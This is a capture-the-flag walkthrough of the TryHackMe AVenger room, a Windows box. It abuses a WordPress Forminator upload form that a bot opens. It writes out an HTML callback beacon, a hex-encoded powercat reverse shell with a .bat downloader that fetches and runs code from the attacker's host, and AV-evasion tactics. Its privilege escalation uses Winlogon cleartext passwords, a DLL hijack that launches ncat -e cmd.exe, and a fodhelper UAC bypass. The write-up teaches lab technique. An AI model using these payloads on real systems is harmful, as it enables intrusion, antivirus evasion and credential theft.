TryHackMe AVenger Walkthrough

TryHackMe AVenger Walkthrough

Original Bugflare writeup of the AVenger room. Medium Windows Server 2019 box (hostname GIFT). The blurb says AV is on and everything is patched. Cool story. You still get Forminator-era WordPress, a review bot that opens uploads, and an admin stuck behind default UAC.

Give the VM about five minutes before you lean on it. Flags below are THM{xxx}.

Recon that actually matters

nmap -sC -sV -Pn MACHINE_IP

| Port | Service | |------|---------| | 80 / 443 | Apache 2.4.56 + PHP 8.0.28 (XAMPP-style listing) | | 445 | SMB | | 3389 | RDP (GIFT) | | 5985 | WinRM |

HTTP root is a directory index. The useful folder is /gift/ — WordPress. If it redirects to a branded name:

MACHINE_IP  avenger.tryhackme

wpscan --url http://MACHINE_IP/gift/ --enumerate ap,at,u
# or skip the full scan:
curl -s http://MACHINE_IP/gift/wp-content/plugins/forminator/readme.txt | head

Forminator 1.24.1. That sits in the CVE-2023-4596 range (unauth RCE through ≤1.24.6). Public PoCs love dropping PHP under /wp-content/uploads/YYYY/MM/. On this box that path is flaky and AV-noisy. The foothold that sticks is the contact/upload form itself — not a classic webshell on disk.

Someone actually opens your file

Submit through the Forminator form on /gift/. The success copy talks about the team reviewing every submission carefully. Believe it.

Sanity check — tiny HTML beacon:

<img src="http://YOUR_VPN_IP:9000/cat.jpg"/>

Listen on :9000. Within seconds you get a hit. A bot (or automation) is rendering what you upload.

So stop hunting for "plant PHP and browse it." Goal: upload something that, when opened, fetches and runs a Defender-evasive reverse shell.

Foothold — hex powercat behind a .bat

Raw nc.exe and plain PowerShell one-liners get eaten. Encode powercat as a hex array (-ge), host the blob as .txt, let a batch file download and iex it.

Attack box:

LHOST=YOUR_VPN_IP
LPORT=443
rshell=shell-443.txt

pwsh -c "iex (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c $LHOST -p $LPORT -e cmd.exe -ge" > $rshell

Batch wrapper (this is what you upload):

START /B powershell -c $code=(New-Object System.Net.Webclient).DownloadString('http://YOUR_VPN_IP:80/shell-443.txt');iex 'powershell -E $code'

Serve the txt, keep the download URL matching, catch the shell:

python3 -m http.server 80
nc -lvnp 443

Upload shell.bat. Watch for the GET of shell-443.txt, then:

gift\hugo

User flag:

type C:\Users\hugo\Desktop\user.txt

THM{xxx}

Privesc — local admin, Medium integrity

whoami /groups

hugo is in Administrators, but integrity is Medium. Classic UAC filter. Confirm the prompt policy:

REG QUERY HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin

Value 5 means default "prompt for consent." Evil-WinRM and other non-interactive shells cannot click Yes.

Three workable routes:

Path A — RDP and click through UAC

Winlogon often parks the autologon password in cleartext:

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

Pull DefaultUserName / DefaultPassword, RDP as hugo, then Command Prompt → Run as administrator, accept UAC, and read:

type C:\Users\Administrator\Desktop\root.txt

Path B — trusted-folder DLL hijack (no GUI)

Abuse a "trusted" path with a trailing space / alternate folder so an auto-elevating binary loads your DLL (Morph / redteamer.tips style):

1. Drop ncat.exe (or similar) somewhere hugo can write.
2. Build a tiny DLL whose DllMain runs WinExec("…ncat.exe -e cmd.exe LHOST LPORT", …).
3. Stage under a hijack layout for computerdefaults.exe (crafted C:\Windows \System32\ + Secur32.dll).
4. Launch the elevated binary → high-integrity admin shell.

Path C — fodhelper registry bypass

If Defender is feeling generous that day: set HKCU\...\ms-settings\Shell\Open\command and trigger fodhelper.exe for an elevated callback. YMMV. Paths A and B are the ones I trust on this room.

Root flag:

THM{xxx}

Chain at a glance

XAMPP index → /gift/ WordPress
  → Forminator upload form (bot opens files)
  → HTML beacon proves callback
  → .bat + hex powercat → hugo
  → user.txt on Desktop
  → Admin group + UAC
  → RDP/Winlogon OR DLL hijack OR fodhelper
  → Administrator\Desktop\root.txt

Room answers (redacted)

| Question | Answer | |----------|--------| | User flag | THM{xxx} | | Root flag | THM{xxx} |

What stuck

"Patched" is marketing. Forminator 1.24.1 is a breadcrumb; the real win is the review bot executing uploads. Beacon before you shell — one <img src=http://you> saves an evening. AV changes payload shape, not the bug: hex powercat plus a staged download still works when nc.exe does not. Local admin under UAC is not full admin — plan for interactive consent or a real bypass. And Winlogon DefaultPassword is still free RDP candy whenever autologon is on.

Swap MACHINE_IP / YOUR_VPN_IP for your lab. Path spoilers only — flags stay on the box.